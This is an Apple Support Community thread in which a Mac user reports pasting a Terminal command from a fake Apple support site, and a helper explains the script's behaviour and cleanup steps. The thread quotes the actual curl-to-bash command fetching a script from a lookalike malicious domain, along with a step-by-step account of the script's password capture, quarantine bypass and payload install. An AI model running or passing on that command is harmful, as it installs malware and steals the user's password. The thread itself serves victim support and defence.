Potential security concern after entering code from suspicious website in Mac Terminal

Hello

Yesterday I wanted to clear up storage on my Mac and I came across this "Apple Support Partners" website, that said to copy a code and enter it in my Terminal. Me being dumb and naive ofcourse did this, meanwhile the code did nothing, as in clearing no space. The website didn't allow to me to click on any logos or links afterwards.

This is the code btw: /bin/bash -c "$(curl -fsSL https://apple-develope.com/fix/diagnostic.sh)"

Today someone tried to acces my email account which made me paranoid. Could it have something to do with this code?

Any help is appreciated, thanks!


[Re-Titled by Moderator]

Original Title: I put in a weird code in my Terminal and nothing happened... should i be worried?

MacBook Air 13″, macOS 12.7

Posted on Oct 7, 2025 1:17 AM

Reply
Question marked as Top-ranking reply

Posted on Oct 7, 2025 1:55 PM

The command (curl) downloaded a script (diagnostic.sh) to your machine and the bash -c ran it. I suspect it prompted for your password. If you provided it, then it looks like the script did the following:


  • Ran the whoami command to get your user name - stored in variable username
  • Ran a while loop to request your local password and verify it. If incorrect it would prompt to re-enter. If correct it wrote it out to /tmp/.pass. Note, the file .pass is hidden (any file/folder that starts with a . is hidden in the Finder).
  • Once it has access to your password (in the .pass file), it then curled a payload called update and stored it in /tmp/update.
  • Next, it removed any extension attributes from update - this likely cleared the quarantine flag to allow it to run without warning
  • Next, it ran chmod to make update executable
  • And then it curled a MacKeeper.pkg installer and then opened it to install it.


All of this is no good. At the very least, you have the following created on your machine that you should get rid of:


/tmp/.pass

/tmp/update

/tmp/MacKeeper.pkg


I suspect the payload has generated more junk on your machine so you should also look in /Library/LaunchDaemons, /Library/LaunchAgents, and ~/Library/LaunchAgents. Check your Applications folder for MacKeeper and put it in the Trash. Also, check your /Users/Shared folder and the entirety of the /tmp folder for more junk. If you find launch files, view them with QuickLook (select file and tap spacebar) to see what the files are launching. Follow the paths and purge the unwanted files.


Also, if your local Mac password is the same as your Apple ID, you might want to consider changing your Apple ID password. Your password is not in plain text in the .pass file. This means that any future unwanted payload can run with elevate permissions. But it also means that if there is a process that sends your password out, your password is now compromised.


Good luck. Clean up and trust no one.

2 replies
Question marked as Top-ranking reply

Oct 7, 2025 1:55 PM in response to Alex_hoegsbro

The command (curl) downloaded a script (diagnostic.sh) to your machine and the bash -c ran it. I suspect it prompted for your password. If you provided it, then it looks like the script did the following:


  • Ran the whoami command to get your user name - stored in variable username
  • Ran a while loop to request your local password and verify it. If incorrect it would prompt to re-enter. If correct it wrote it out to /tmp/.pass. Note, the file .pass is hidden (any file/folder that starts with a . is hidden in the Finder).
  • Once it has access to your password (in the .pass file), it then curled a payload called update and stored it in /tmp/update.
  • Next, it removed any extension attributes from update - this likely cleared the quarantine flag to allow it to run without warning
  • Next, it ran chmod to make update executable
  • And then it curled a MacKeeper.pkg installer and then opened it to install it.


All of this is no good. At the very least, you have the following created on your machine that you should get rid of:


/tmp/.pass

/tmp/update

/tmp/MacKeeper.pkg


I suspect the payload has generated more junk on your machine so you should also look in /Library/LaunchDaemons, /Library/LaunchAgents, and ~/Library/LaunchAgents. Check your Applications folder for MacKeeper and put it in the Trash. Also, check your /Users/Shared folder and the entirety of the /tmp folder for more junk. If you find launch files, view them with QuickLook (select file and tap spacebar) to see what the files are launching. Follow the paths and purge the unwanted files.


Also, if your local Mac password is the same as your Apple ID, you might want to consider changing your Apple ID password. Your password is not in plain text in the .pass file. This means that any future unwanted payload can run with elevate permissions. But it also means that if there is a process that sends your password out, your password is now compromised.


Good luck. Clean up and trust no one.

Oct 8, 2025 2:42 PM in response to Strontium90

Thank you for your answer, It did however make me panic a bit - You seem to know alot about this. I however know nothing about computers and decided to run a "Malwarebytes" sercurity scan, which said that nothing alarming was found. Should i trust this? Perhaps the code i entered didn't run?

Not gonna lie im feeling a bit scared right now and changed all my passwords but still... am i good?

Im also not able to find anything related to MacKeeper anywhere

Potential security concern after entering code from suspicious website in Mac Terminal

Welcome to Apple Support Community
A forum where Apple customers help each other with their products. Get started with your Apple Account.